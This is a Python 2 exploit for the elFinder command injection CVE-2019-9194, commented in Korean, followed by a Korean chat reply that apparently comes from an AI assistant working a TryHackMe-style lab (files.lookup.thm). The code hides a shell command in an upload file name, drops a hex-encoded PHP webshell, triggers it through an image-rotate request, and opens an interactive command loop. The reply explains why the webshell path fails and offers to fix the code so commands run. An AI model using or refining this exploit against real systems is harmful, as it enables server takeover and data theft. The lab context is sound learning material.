#!/usr/bin/python
# ↪ Python2 인터프리터를 사용
'''
Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability
...
# CVE: CVE-2019-9194
'''
# ↪ elFinder 2.1.47 이하 버전에서 발생하는 커맨드 인젝션 취약점에 대한 익스플로잇
# ↪ 취약점: 파일 업로드 처리 시 파일 이름에 쉘 명령이 들어가도 필터링하지 않음
import requests # HTTP 요청을 위해 사용
import json # 서버의 JSON 응답 파싱
import sys # 커맨드라인 인자 처리
# payload: 파일 이름에 쉘 명령을 삽입한 문자열
# 실제로는 .jpg 파일을 업로드하는 척하면서 PHP 웹쉘을 생성함
# `echo ... | xxd -r -p`는 hex 값을 PHP 코드로 복원하여 웹쉘을 만드는 명령
payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'
def usage():
# 사용자가 URL을 안 넣으면 안내 메시지 출력 후 종료
if len(sys.argv) != 2:
print "Usage: python exploit.py [URL]"
sys.exit(0)
def upload(url, payload):
# 업로드할 파일 지정
# 파일 이름에 쉘 명령이 들어가 있음
files = {'upload[]': (payload, open('SecSignal.jpg', 'rb'))}
# elFinder에서 요구하는 POST 데이터 형식
data = {
"reqid" : "1693222c439f4", # 요청 식별자 (무작위 값)
"cmd" : "upload", # 명령어: upload
"target" : "l1_Lw", # 업로드 위치 (기본 루트 디렉토리)
"mtime[]" : "1497726174" # 수정 시간 (무작위 값)
}
# 실제 업로드 POST 요청 전송
r = requests.post("%s/php/connector.minimal.php" % url, files=files, data=data)
# JSON 응답에서 업로드된 파일의 해시 추출
j = json.loads(r.text)
return j['added'][0]['hash'] # → 이 해시를 이용해 다음 작업 수행
def imgRotate(url, hash):
# 업로드된 이미지를 회전하는 척하며
# 서버가 이미지 파일을 처리할 때 filename에 있는 쉘 명령이 실행되도록 유도
r = requests.get(
"%s/php/connector.minimal.php?target=%s&width=539&height=960°ree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c"
% (url, hash)
)
return r.text
def shell(url):
# 업로드한 웹쉘 접속 시도
r = requests.get("%s/php/SecSignal.php" % url)
if r.status_code == 200:
print "[+] Pwned! :)"
print "[+] Getting the shell..."
while 1:
try:
# 간단한 웹 인터페이스 셸 구현
# 사용자가 입력한 명령어를 웹쉘에 GET 파라미터로 전달
input = raw_input("$ ")
r = requests.get("%s/php/SecSignal.php?c=%s" % (url, input))
print r.text # 명령 실행 결과 출력
except KeyboardInterrupt:
# Ctrl+C 입력 시 종료
sys.exit("\nBye kaker!")
else:
# 웹쉘 접근 실패 → 취약하지 않거나 실패한 경우
print "[*] The site seems not to be vulnerable :("
def main():
# 인자 확인
usage()
url = sys.argv[1] # 첫 번째 인자를 URL로 받음
print "[*] Uploading the malicious image..."
hash = upload(url, payload) # 악성 payload 업로드
print "[*] Running the payload..."
imgRotate(url, hash) # 회전 요청으로 filename에 포함된 명령 실행
shell(url) # 웹쉘 접속 시도
if __name__ == "__main__":
main() # 직접 실행된 경우 main 함수 호출
정확해요! 아주 잘 이해하셨어요.
정리해서 쉽게 설명해드릴게요:
그런데 파일 이름에 명령어를 심어서 업로드하면…
\=> 명령어가 실행돼서
\=> 웹쉘(PHP 파일) 이 같이 만들어지는 거예요!
URL 뒤에 ?c=명령어 를 붙여서
http://파일경로/SecSignal.php?c=whoami
💥 그러면 whoami 명령어가 실행돼서
웹쉘이 우리 명령을 서버에 전달해줘야 하는데...
/php/SecSignal.php인데/php/ 폴더는 elFinder 내부 API 경로로 인식돼서결과적으로 우리가 명령을 보내도,
{"error":["errUnknownCmd"]}
이런 API 오류만 나오는 거예요.
/files/ 또는 /uploads/)에 만들고http://files.lookup.thm/elFinder/files/SecSignal.php?c=whoami
지금은 우리가 파일을 비밀통로에 숨겨놨는데,
문이 막혀 있어서 못 들어가는 상태예요.
그러니까 정상적인 문(files 폴더 등) 에다 웹쉘을 다시 만들어서
그 경로로 명령을 보내야 하는 거예요.
원하시면 지금 코드 살짝 수정해서
웹쉘 URL을 정확히 찾고 명령 실행까지 되는 방식으로 만들어드릴게요.
바로 할까요?